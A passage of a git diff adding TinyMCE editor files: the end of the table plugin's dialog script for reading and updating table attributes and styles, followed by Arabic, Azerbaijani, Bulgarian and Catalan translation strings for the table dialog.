cellpadding = tinyMCEPopup.getParam('table_default_cellpadding', ''), cellspacing = tinyMCEPopup.getParam('table_default_cellspacing', ''); + var align = "", width = "", height = "", bordercolor = "", bgcolor = "", className = ""; + var id = "", summary = "", style = "", dir = "", lang = "", background = "", bgcolor = "", bordercolor = "", rules = "", frame = ""; + var inst = tinyMCEPopup.editor, dom = inst.dom; + var formObj = document.forms[0]; + var elm = dom.getParent(inst.selection.getNode(), "table"); + + action = tinyMCEPopup.getWindowArg('action'); + + if (!action) + action = elm ? "update" : "insert"; + + if (elm && action != "insert") { + var rowsAr = elm.rows; + var cols = 0; + for (var i=0; i cols) + cols = rowsAr[i].cells.length; + + cols = cols; + rows = rowsAr.length; + + st = dom.parseStyle(dom.getAttrib(elm, "style")); + border = trimSize(getStyle(elm, 'border', 'borderWidth')); + cellpadding = dom.getAttrib(elm, 'cellpadding', ""); + cellspacing = dom.getAttrib(elm, 'cellspacing', ""); + width = trimSize(getStyle(elm, 'width', 'width')); + height = trimSize(getStyle(elm, 'height', 'height')); + bordercolor = convertRGBToHex(getStyle(elm, 'bordercolor', 'borderLeftColor')); + bgcolor = convertRGBToHex(getStyle(elm, 'bgcolor', 'backgroundColor')); + align = dom.getAttrib(elm, 'align', align); + frame = dom.getAttrib(elm, 'frame'); + rules = dom.getAttrib(elm, 'rules'); + className = tinymce.trim(dom.getAttrib(elm, 'class').replace(/mceItem.+/g, '')); + id = dom.getAttrib(elm, 'id'); + summary = dom.getAttrib(elm, 'summary'); + style = dom.serializeStyle(st); + dir = dom.getAttrib(elm, 'dir'); + lang = dom.getAttrib(elm, 'lang'); + background = getStyle(elm, 'background', 'backgroundImage').replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + formObj.caption.checked = elm.getElementsByTagName('caption').length > 0; + + orgTableWidth = width; + orgTableHeight = height; + + action = "update"; + formObj.insert.value = inst.getLang('update'); + } + + addClassesToList('class', "table_styles"); + TinyMCE_EditableSelects.init(); + + // Update form + selectByValue(formObj, 'align', align); + selectByValue(formObj, 'tframe', frame); + selectByValue(formObj, 'rules', rules); + selectByValue(formObj, 'class', className, true, true); + formObj.cols.value = cols; + formObj.rows.value = rows; + formObj.border.value = border; + formObj.cellpadding.value = cellpadding; + formObj.cellspacing.value = cellspacing; + formObj.width.value = width; + formObj.height.value = height; + formObj.bordercolor.value = bordercolor; + formObj.bgcolor.value = bgcolor; + formObj.id.value = id; + formObj.summary.value = summary; + formObj.style.value = style; + formObj.dir.value = dir; + formObj.lang.value = lang; + formObj.backgroundimage.value = background; + + updateColor('bordercolor_pick', 'bordercolor'); + updateColor('bgcolor_pick', 'bgcolor'); + + // Resize some elements + if (isVisible('backgroundimagebrowser')) + document.getElementById('backgroundimage').style.width = '180px'; + + // Disable some fields in update mode + if (action == "update") { + formObj.cols.disabled = true; + formObj.rows.disabled = true; + } +} + +function changedSize() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + +/* var width = formObj.width.value; + if (width != "") + st['width'] = tinyMCEPopup.getParam("inline_styles") ? getCSSSize(width) : ""; + else + st['width'] = "";*/ + + var height = formObj.height.value; + if (height != "") + st['height'] = getCSSSize(height); + else + st['height'] = ""; + + formObj.style.value = dom.serializeStyle(st); +} + +function isCssSize(value) { + return /^[0-9.]+(%|in|cm|mm|em|ex|pt|pc|px)$/.test(value); +} + +function cssSize(value, def) { + value = tinymce.trim(value || def); + + if (!isCssSize(value)) { + return parseInt(value, 10) + 'px'; + } + + return value; +} + +function changedBackgroundImage() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + st['background-image'] = "url('" + formObj.backgroundimage.value + "')"; + + formObj.style.value = dom.serializeStyle(st); +} + +function changedBorder() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + // Update border width if the element has a color + if (formObj.border.value != "" && (isCssSize(formObj.border.value) || formObj.bordercolor.value != "")) + st['border-width'] = cssSize(formObj.border.value); + else { + if (!formObj.border.value) { + st['border'] = ''; + st['border-width'] = ''; + } + } + + formObj.style.value = dom.serializeStyle(st); +} + +function changedColor() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + st['background-color'] = formObj.bgcolor.value; + + if (formObj.bordercolor.value != "") { + st['border-color'] = formObj.bordercolor.value; + + // Add border-width if it's missing + if (!st['border-width']) + st['border-width'] = cssSize(formObj.border.value, 1); + } + + formObj.style.value = dom.serializeStyle(st); +} + +function changedStyle() { + var formObj = document.forms[0]; + var st = dom.parseStyle(formObj.style.value); + + if (st['background-image']) + formObj.backgroundimage.value = st['background-image'].replace(new RegExp("url\\(['\"]?([^'\"]*)['\"]?\\)", 'gi'), "$1"); + else + formObj.backgroundimage.value = ''; + + if (st['width']) + formObj.width.value = trimSize(st['width']); + + if (st['height']) + formObj.height.value = trimSize(st['height']); + + if (st['background-color']) { + formObj.bgcolor.value = st['background-color']; + updateColor('bgcolor_pick','bgcolor'); + } + + if (st['border-color']) { + formObj.bordercolor.value = st['border-color']; + updateColor('bordercolor_pick','bordercolor'); + } +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce/plugins/table/langs/ar_dlg.js b/js/tiny_mce/plugins/table/langs/ar_dlg.js new file mode 100755 index 0000000..bb2d617 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.table_dlg',{"rules_border":"\u0627\u0644\u0628\u0631\u0648\u0627\u0632","rules_box":"\u0635\u0646\u062f\u0648\u0642","rules_vsides":"\u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0639\u0645\u0648\u062f\u064a\u0629","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"\u0627\u0644\u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0623\u0641\u0642\u064a\u0629","rules_below":"\u0623\u062f\u0646\u0627\u0647","rules_above":"\u0623\u0639\u0644\u0649","rules_void":"\u0623\u0644\u063a\u0649",rules:"\u0642\u0648\u0627\u0639\u062f","frame_all":"\u0643\u0627\u0641\u0629","frame_cols":"\u0639\u062f\u062f \u0627\u0644\u0623\u0639\u0645\u062f\u0629","frame_rows":"\u0639\u062f\u062f \u0627\u0644\u0635\u0641\u0648\u0641","frame_groups":"\u0627\u0644\u0645\u062c\u0645\u0648\u0639\u0627\u062a","frame_none":"\u0644\u0627 \u0634\u064a\u0621",frame:"\u0627\u0644\u0625\u0637\u0627\u0631",caption:"\u0627\u0644\u062c\u062f\u0648\u0644 \u0627\u0644\u062a\u0648\u0636\u064a\u062d\u064a\u0629","missing_scope":"\u0647\u0644 \u0627\u0646\u062a \u0645\u062a\u0623\u0643\u062f \u0627\u0646\u0643 \u062a\u0631\u064a\u062f \u0627\u0644\u0625\u0633\u062a\u0645\u0631\u0627\u0631 \u0628\u062f\u0648\u0646 \u062a\u062d\u062f\u064a\u062f \u0631\u0623\u0633 \u0644\u0644\u062c\u062f\u0648\u0644.. \u0642\u062f \u064a\u0643\u0648\u0646 \u0635\u0639\u0628 \u0639\u0644\u0649 \u0632\u0648\u0649 \u0627\u0644\u0625\u062d\u062a\u064a\u0627\u062c\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0647 \u0641\u0647\u0645 \u0645\u062d\u062a\u0648\u064a\u0627\u062a \u062c\u062f\u0648\u0644\u0643","cell_limit":"\u0644\u0642\u062f \u062a\u062c\u0627\u0648\u0632\u062a \u0627\u0644\u062d\u062f \u0627\u0644\u0623\u0642\u0635\u0649 \u0644\u0639\u062f\u062f \u0645\u0646 \u0627\u0644\u062e\u0644\u0627\u064a\u0627 {$cells}.","row_limit":"\u0644\u0642\u062f \u062a\u062c\u0627\u0648\u0632\u062a \u0627\u0644\u062d\u062f \u0627\u0644\u0623\u0642\u0635\u0649 \u0644\u0639\u062f\u062f \u0627\u0644\u0635\u0641\u0648\u0641 {$rows}.","col_limit":"\u0644\u0642\u062f \u062a\u062c\u0627\u0648\u0632\u062a \u0627\u0644\u062d\u062f \u0627\u0644\u0623\u0642\u0635\u0649 \u0644\u0639\u062f\u062f \u0623\u0639\u0645\u062f\u0629 {$cols}.",colgroup:"\u0645\u062c\u0645\u0648\u0639\u0629 \u0623\u0639\u0645\u062f\u0629 ",rowgroup:" \u0645\u062c\u0645\u0648\u0639\u0629 \u0635\u0641",scope:"\u0646\u0637\u0627\u0642",tfoot:"\u0645\u0624\u062e\u0631\u0629 \u0627\u0644\u062c\u062f\u0648\u0644",tbody:"\u062c\u0633\u0645 \u0627\u0644\u062c\u062f\u0648\u0644",thead:"\u0631\u0623\u0633 \u0627\u0644\u062c\u062f\u0648\u0644","row_all":"\u062a\u062d\u062f\u064a\u062b \u0643\u0627\u0641\u0629 \u0627\u0644\u0635\u0641\u0648\u0641 \u0641\u064a \u0627\u0644\u062c\u062f\u0648\u0644","row_even":" \u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0635\u0641\u0648\u0641 \u0627\u0644\u0632\u0648\u062c\u064a\u0647 \u0645\u0646 \u0627\u0644\u062c\u062f\u0648\u0644","row_odd":"\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0635\u0641\u0648\u0641 \u0627\u0644\u0641\u0631\u062f\u064a\u0647 \u0645\u0646 \u0627\u0644\u062c\u062f\u0648\u0644","row_row":"\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0635\u0641 \u0627\u0644\u062d\u0627\u0644\u064a","cell_all":"\u062a\u062d\u062f\u064a\u062b \u0643\u0644 \u062e\u0644\u0627\u064a\u0627 \u0627\u0644\u062c\u062f\u0648\u0644","cell_row":"\u062a\u062d\u062f\u064a\u062b \u0643\u0627\u0641\u0629 \u0627\u0644\u062e\u0644\u0627\u064a\u0627 \u0641\u064a \u0627\u0644\u0635\u0641","cell_cell":"\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u062e\u0644\u064a\u0629 \u0627\u0644\u062d\u0627\u0644\u064a\u0629",th:"\u0631\u0623\u0633",td:"\u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a",summary:"\u0645\u0644\u062e\u0635",bgimage:"\u0635\u0648\u0631\u0629 \u0627\u0644\u062e\u0644\u0641\u064a\u0629",rtl:"\u0645\u0646 \u0627\u0644\u064a\u0645\u064a\u0646 \u0625\u0644\u0649 \u0627\u0644\u064a\u0633\u0627\u0631",ltr:"\u0645\u0646 \u0627\u0644\u064a\u0633\u0627\u0631 \u0625\u0644\u0649 \u0627\u0644\u064a\u0645\u064a\u0646",mime:"\u0627\u0644\u0647\u062f\u0641 \u0646\u0648\u0639 \u0627\u0644\u0645\u0644\u0641",langcode:"\u0631\u0645\u0632 \u0627\u0644\u0644\u063a\u0629",langdir:"\u0627\u062a\u062c\u0627\u0647 \u0644\u063a\u0629",style:"\u0634\u0643\u0644",id:"\u0627\u0644 \u0623\u064a \u062f\u064a Id","merge_cells_title":"\u062f\u0645\u062c \u0627\u0644\u062e\u0644\u0627\u064a\u0627",bgcolor:"\u0644\u0648\u0646 \u0627\u0644\u062e\u0644\u0641\u064a\u0629",bordercolor:"\u0644\u0648\u0646 \u0627\u0644\u062d\u062f\u0648\u062f","align_bottom":"\u0627\u0633\u0641\u0644","align_top":"\u0627\u0639\u0644\u0649",valign:"\u0627\u0644\u0645\u062d\u0627\u0630\u0627\u0629 \u0627\u0644\u0631\u0623\u0633\u064a\u0647","cell_type":"\u0646\u0648\u0639 \u0627\u0644\u062e\u0644\u064a\u0629","cell_title":"\u062e\u0635\u0627\u0626\u0635 \u062e\u0644\u064a\u0629 \u062c\u062f\u0648\u0644","row_title":"\u062e\u0635\u0627\u0626\u0635 \u0635\u0641 \u062c\u062f\u0648\u0644","align_middle":"\u0648\u0633\u0637","align_right":"\u064a\u0645\u064a\u0646","align_left":"\u064a\u0633\u0627\u0631","align_default":"\u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a",align:"\u0627\u0644\u0645\u062d\u0627\u0630\u0627\u0629",border:"\u0627\u0644\u062d\u062f\u0648\u062f",cellpadding:"\u0628\u0637\u0627\u0646\u0629 \u0627\u0644\u062e\u0644\u0627\u064a\u0627",cellspacing:"\u062a\u0628\u0627\u0639\u062f \u0627\u0644\u062e\u0644\u0627\u064a\u0627 ",rows:"\u0627\u0644\u0635\u0641\u0648\u0641",cols:"\u0623\u0639\u0645\u062f\u0629",height:"\u0627\u0631\u062a\u0641\u0627\u0639",width:"\u0639\u0631\u0636",title:"\u0625\u062f\u0631\u0627\u062c/\u062a\u0639\u062f\u064a\u0644 \u062c\u062f\u0648\u0644",rowtype:"\u0635\u0641 \u0641\u064a \u062c\u0632\u0621 \u0627\u0644\u062c\u062f\u0648\u0644","advanced_props":"\u062e\u0635\u0627\u0626\u0635 \u0645\u062a\u0642\u062f\u0645\u0647","general_props":"\u062e\u0635\u0627\u0626\u0635 \u0639\u0627\u0645\u0647","advanced_tab":"\u0645\u062a\u0642\u062f\u0645","general_tab":"\u0639\u0627\u0645","cell_col":"\u062a\u062d\u062f\u064a\u062b \u0643\u0644 \u0627\u0644\u062e\u0644\u0627\u064a\u0627 \u0641\u0649 \u0639\u0645\u0648\u062f"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/az_dlg.js b/js/tiny_mce/plugins/table/langs/az_dlg.js new file mode 100755 index 0000000..5d5deca --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.table_dlg',{"rules_border":"s\u0259rh\u0259d","rules_box":"konteyner","rules_vsides":"\u015faquli t\u0259r\u0259fl\u0259r","rules_rhs":"sa\u011f \u00fcf\u00fcqi t\u0259r\u0259fl\u0259r","rules_lhs":"sol \u00fcf\u00fcqi t\u0259r\u0259fl\u0259r","rules_hsides":"\u00fcf\u00fcqi t\u0259r\u0259fl\u0259r","rules_below":"a\u015fa\u011f\u0131dan","rules_above":"yuxar\u0131dan","rules_void":"he\u00e7 n\u0259",rules:"X\u0259ttl\u0259r","frame_all":"ham\u0131s\u0131","frame_cols":"s\u00fctunlar","frame_rows":"s\u0259trl\u0259r","frame_groups":"qruplar","frame_none":"he\u00e7n\u0259",frame:"\u00c7\u0259r\u00e7iv\u0259",caption:"C\u0259dv\u0259l ba\u015fl\u0131\u011f\u0131","missing_scope":"\u018fminsiniz ki, ba\u015fl\u0131q \u00f6z\u0259yinin h\u0259ddini g\u00f6st\u0259rm\u0259d\u0259n davam etm\u0259k ist\u0259yirsiniz? Bunsuz b\u0259zi i\u015f qabiliyy\u0259ti a\u015fa\u011f\u0131 olan istifad\u0259\u00e7il\u0259r\u0259 c\u0259dv\u0259lin m\u0259lumatlar\u0131 v\u0259 t\u0259rkibini anlamaq \u00e7\u0259tin olacaq.","cell_limit":"Siz \u00f6z\u0259kl\u0259rd\u0259 {$cells} maksimum say\u0131 a\u015fd\u0131n\u0131z.","row_limit":"Siz s\u0259trl\u0259rd\u0259 {$rows} maksimum say\u0131 a\u015fd\u0131n\u0131z.","col_limit":"Siz s\u00fctunlarda {$cols} maksimum say\u0131 a\u015fd\u0131n\u0131z.",colgroup:"S\u00fctun qrupu",rowgroup:"S\u0259tr qrupu",scope:"H\u0259dd",tfoot:"C\u0259dv\u0259lin a\u015fa\u011f\u0131 hiss\u0259si",tbody:"C\u0259dv\u0259lin \u0259sas hiss\u0259si",thead:"C\u0259dv\u0259lin yuxar\u0131 hiss\u0259si","row_all":"C\u0259dv\u0259ld\u0259ki b\u00fct\u00fcn s\u0259trl\u0259ri yenil\u0259","row_even":"C\u0259dv\u0259ld\u0259ki c\u00fct (\u0259d\u0259d) s\u0259trl\u0259ri yenil\u0259","row_odd":"C\u0259d\u0259ld\u0259ki t\u0259k (\u0259d\u0259d) s\u0259trl\u0259ri yenil\u0259","row_row":"Haz\u0131rki s\u0259tri yenil\u0259","cell_all":"C\u0259dv\u0259ld\u0259ki b\u00fct\u00fcn \u00f6z\u0259kl\u0259ri yenil\u0259","cell_row":"S\u0259trd\u0259ki b\u00fct\u00fcn \u00f6z\u0259kl\u0259ri yenil\u0259","cell_cell":"Haz\u0131rki \u00f6z\u0259yi yenil\u0259",th:"Ba\u015fl\u0131q",td:"Veril\u0259nl\u0259r",summary:"X\u00fclas\u0259",bgimage:"Fon \u015f\u0259kli",rtl:"Sa\u011fda-sola",ltr:"Solda-sa\u011fa",mime:"H\u0259d\u0259fli MIME-n\u00f6v",langcode:"Dil kodu",langdir:"Dil istiqam\u0259ti",style:"Stil",id:"\u0130dentifikator","merge_cells_title":"\u00d6z\u0259k stili",bgcolor:"Fon r\u0259ngi",bordercolor:"S\u0259rh\u0259d r\u0259ngi","align_bottom":"A\u015fa\u011f\u0131 il\u0259","align_top":"Yuxar\u0131 il\u0259",valign:"\u015eaquli tarazla\u015fma","cell_type":"\u00d6z\u0259k n\u00f6v\u00fc","cell_title":"\u00d6z\u0259k x\u00fcsusiyy\u0259ti","row_title":"S\u0259tr x\u00fcsusiyy\u0259ti","align_middle":"M\u0259rk\u0259z il\u0259","align_right":"Sa\u011fa","align_left":"Sola","align_default":"Default",align:"Tarazla\u015fd\u0131rma",border:"S\u0259rh\u0259d",cellpadding:"\u00d6z\u0259kl\u0259rd\u0259 doldurma",cellspacing:"\u00d6z\u0259kl\u0259r aras\u0131ndak\u0131 m\u0259saf\u0259",rows:"S\u0259trl\u0259r",cols:"S\u00fctunlar",height:"H\u00fcnd\u00fcrl\u00fcy\u00fc",width:"Eni",title:"C\u0259dv\u0259li \u0259lav\u0259 et/d\u0259yi\u015fdir",rowtype:"C\u0259dv\u0259l hiss\u0259sind\u0259ki s\u0259tr","advanced_props":"\u018flav\u0259 x\u00fcsusiyy\u0259tl\u0259r","general_props":"\u00dcmumi x\u00fcsusiyy\u0259tl\u0259r","advanced_tab":"\u018flav\u0259l\u0259r","general_tab":"\u00dcmumi","cell_col":"Update all cells in column"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/bg_dlg.js b/js/tiny_mce/plugins/table/langs/bg_dlg.js new file mode 100755 index 0000000..30d4181 --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.table_dlg',{"rules_border":"\u0433\u0440\u0430\u043d\u0438\u0446\u0430","rules_box":"\u043a\u0443\u0442\u0438\u044f","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"\u0441\u043b\u0435\u0434","rules_above":"\u043f\u0440\u0435\u0434\u0438","rules_void":"void",rules:"\u041f\u0440\u0430\u0432\u0438\u043b\u0430","frame_all":"\u0432\u0441\u0438\u0447\u043a\u0438","frame_cols":"\u043a\u043e\u043b\u043e\u043d\u0438","frame_rows":"\u0440\u0435\u0434\u043e\u0432\u0435","frame_groups":"\u0433\u0440\u0443\u043f\u0438","frame_none":"\u0431\u0435\u0437",frame:"\u0424\u0440\u0435\u0439\u043c",caption:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430","missing_scope":"\u0421\u0438\u0433\u0443\u0440\u0435\u043d \u043b\u0438 \u0441\u0442\u0435, \u0447\u0435 \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u0434\u0430 \u043f\u0440\u043e\u0434\u044a\u043b\u0436\u0438\u0442\u0435 \u0431\u0435\u0437 \u0434\u0430 \u0441\u043b\u043e\u0436\u0438\u0442\u0435 \u043e\u0431\u0445\u0432\u0430\u0442 \u043d\u0430 \u0433\u043b\u0430\u0432\u0430\u0442\u0430 \u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0430\u0442\u0430. \u0411\u0435\u0437 \u043d\u0435\u0433\u043e, \u043d\u044f\u043a\u043e\u0438 \u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u0438 \u0441 \u0443\u0432\u0440\u0435\u0436\u0434\u0430\u043d\u0438\u044f \u043c\u043e\u0433\u0430\u0442 \u0434\u0430 \u0438\u043c\u0430\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0434\u0430 \u0440\u0430\u0437\u0431\u0435\u0440\u0430\u0442 \u0434\u0430\u043d\u043d\u0438\u0442\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430.","cell_limit":"\u041f\u0440\u0435\u0432\u0438\u0448\u0438\u0445\u0442\u0435 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u043d\u0430\u0442\u0430 \u0431\u0440\u043e\u0439\u043a\u0430 \u043a\u043b\u0435\u0442\u043a\u0438: {$cells}.","row_limit":"\u041f\u0440\u0435\u0432\u0438\u0448\u0438\u0445\u0442\u0435 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u043d\u0430\u0442\u0430 \u0431\u0440\u043e\u0439\u043a\u0430 \u0440\u0435\u0434\u043e\u0432\u0435: {$rows}.","col_limit":"\u041f\u0440\u0435\u0432\u0438\u0448\u0438\u0445\u0442\u0435 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u043d\u0430\u0442\u0430 \u0431\u0440\u043e\u0439\u043a\u0430 \u043a\u043e\u043b\u043e\u043d\u0438: {$cols}.",colgroup:"\u0413\u0440\u0443\u043f\u0430 \u043a\u043e\u043b\u043e\u043d\u0438",rowgroup:"\u0413\u0440\u0443\u043f\u0430 \u0440\u0435\u0434\u043e\u0432\u0435",scope:"\u041e\u0431\u0445\u0432\u0430\u0442",tfoot:"\u0414\u044a\u043d\u043e \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430",tbody:"\u0422\u044f\u043b\u043e \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430",thead:"\u0413\u043b\u0430\u0432\u0430 \u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430","row_all":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0432\u0441\u0438\u0447\u043a\u0438 \u0440\u0435\u0434\u043e\u0432\u0435 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430","row_even":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0447\u0435\u0442\u043d\u0438\u0442\u0435 \u0440\u0435\u0434\u043e\u0432\u0435 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430","row_odd":"\u041e\u0431\u043d\u043e\u0432\u0438 \u043d\u0435\u0447\u0435\u0442\u043d\u0438\u0442\u0435 \u0440\u0435\u0434\u043e\u0432\u0435 \u0432 \u0442\u0430\u043b\u0438\u0446\u0430\u0442\u0430","row_row":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0442\u0435\u043a\u0443\u0449\u0438\u044f \u0440\u0435\u0434","cell_all":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0432\u0441\u0438\u0447\u043a\u0438 \u043a\u043b\u0435\u0442\u043a\u0438 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0430\u0442\u0430","cell_row":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0432\u0441\u0438\u0447\u043a\u0438 \u043a\u043b\u0435\u0442\u043a\u0438 \u043d\u0430 \u0440\u0435\u0434\u0430","cell_cell":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0442\u0435\u043a\u0443\u0449\u0430\u0442\u0430 \u043a\u043b\u0435\u0442\u043a\u0430",th:"\u0413\u043b\u0430\u0432\u0430",td:"\u0414\u0430\u043d\u0438\u043d",summary:"\u041e\u0431\u043e\u0431\u0449\u0435\u043d\u0438\u0435",bgimage:"\u0424\u043e\u043d\u043e\u0432\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430",rtl:"\u041e\u0442\u0434\u044f\u0441\u043d\u043e \u043d\u0430 \u043b\u044f\u0432\u043e",ltr:"\u041e\u0442\u043b\u044f\u0432\u043e \u043d\u0430 \u0434\u044f\u0441\u043d\u043e",mime:"MIME \u0442\u0438\u043f",langcode:"\u041a\u043e\u0434 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430",langdir:"\u041f\u043e\u0441\u043e\u043a\u0430 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430",style:"\u0421\u0442\u0438\u043b",id:"Id","merge_cells_title":"\u0421\u043b\u0435\u0439 \u043a\u043b\u0435\u0442\u043a\u0438\u0442\u0435",bgcolor:"\u0426\u0432\u044f\u0442 \u043d\u0430 \u0444\u043e\u043d\u0430",bordercolor:"\u0426\u0432\u044f\u0442 \u043d\u0430 \u0440\u0430\u043c\u043a\u0430\u0442\u0430","align_bottom":"\u0414\u043e\u043b\u0443","align_top":"\u0413\u043e\u0440\u0435",valign:"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e \u043f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435","cell_type":"\u0422\u0438\u043f \u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0430\u0442\u0430","cell_title":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u043a\u043b\u0435\u0442\u043a\u0430\u0442\u0430","row_title":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u0440\u0435\u0434\u0430","align_middle":"\u0426\u0435\u043d\u0442\u044a\u0440","align_right":"\u0414\u044f\u0441\u043d\u043e","align_left":"\u041b\u044f\u0432\u043e","align_default":"\u041f\u043e \u043f\u043e\u0434\u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043d\u0435",align:"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",border:"\u0420\u0430\u043c\u043a\u0430",cellpadding:"\u041e\u0442\u0441\u0442\u044a\u043f \u0432 \u043a\u043b\u0435\u0442\u043a\u0438\u0442\u0435",cellspacing:"\u0420\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u044a\u0436\u0434\u0443 \u043a\u043b\u0435\u0442\u043a\u0438\u0442\u0435",rows:"\u0420\u0435\u0434\u043e\u0432\u0435",cols:"\u041a\u043e\u043b\u043e\u043d\u0438",height:"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",title:"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0430",rowtype:"\u0420\u043e\u043b\u044f \u043d\u0430 \u0440\u0435\u0434\u0430","advanced_props":"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0437\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438","general_props":"\u041e\u0431\u0449\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438","advanced_tab":"\u0417\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438","general_tab":"\u041e\u0431\u0449\u0438","cell_col":"\u041e\u0431\u043d\u043e\u0432\u0438 \u0432\u0441\u0438\u0447\u043a\u0438 \u043a\u043b\u0435\u0442\u043a\u0438 \u0432 \u043a\u043e\u043b\u043e\u043d\u0430\u0442\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/table/langs/ca_dlg.js b/js/tiny_mce/plugins/table/langs/ca_dlg.js new file mode 100755 index 0000000..881c0ae --- /dev/null +++ b/js/tiny_mce/plugins/table/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.table_dlg',{"rules_border":"vora","rules_box":"quadre","rules_vsides":"vsides","rules_rhs":"rhs","rules_lhs":"lhs","rules_hsides":"hsides","rules_below":"per sota de","rules_above":"per damunt de","rules_void":"buit",rules:"Regles","frame_all":"tot","frame_cols":"columnes","frame_rows":"files","frame_groups":"grups","frame_none":"cap",frame:"Marc",caption:"T\u00edtol de la taula","missing_scope":"Esteu segur que voleu continuar sense indicar un abast per a aquesta cel\u00b7la de cap\u00e7alera. Pot ser dif\u00edcil per a alguns usuaris amb discapacitats entendre el contingut o les dades mostrades a la taula.","cell_limit":"Heu superat el nombre m\u00e0xim de cel\u00b7les de {$cells}..","row_limit":"Heu superat el nombre m\u00e0xim de files de {$rows}.","col_limit":"Heu superat el nombre m\u00e0xim de columnes de {$cols}.",colgroup:"Grup de columnes",rowgroup:"Grup de files",scope:"Abast",tfoot:"Peu de la taula",tbody:"Cos de la taula",thead:"Cap\u00e7alera de la taula","row_all":"Actualitza totes les files","row_even":"Actualitza les files parells","row_odd":"Actualitza les files senars","row_row":"Actualitza la fila","cell_all":"Actualitza totes les cel\u00b7les de la taula","cell_row":"Actualitza totes les cel\u00b7les de la fila","cell_cell":"Actualitza la cel\u00b7la",th:"Cap\u00e7alera",td:"Dades",summary:"Resum",bgimage:"Imatge de fons",rtl:"De dreta a esquerra",ltr:"D\'esquerra a dreta",mime:"Tipus MIME",langcode:"Codi de l\'idioma",langdir:"Direcci\u00f3 de l\'idioma",style:"Estil",id:"Id","merge_cells_title":"Fusiona cel\u00b7les",bgcolor:"Color de fons",bordercolor:"Color de vora","align_bottom":"A baix","align_top":"A dalt",valign:"Alineaci\u00f3 vertical","cell_type":"Tipus de cel\u00b7la","cell_title":"Propietats de cel\u00b7la","row_title":"Propietats de fila","align_middle":"Centre","align_right":"Dreta","align_left":"Esquerra","align_default":"Per defecte",align:"Alineaci\u00f3",border:"Vora",cellpadding:"Separaci\u00f3 de cel\u00b7la",cellspacing:"Espaiat de 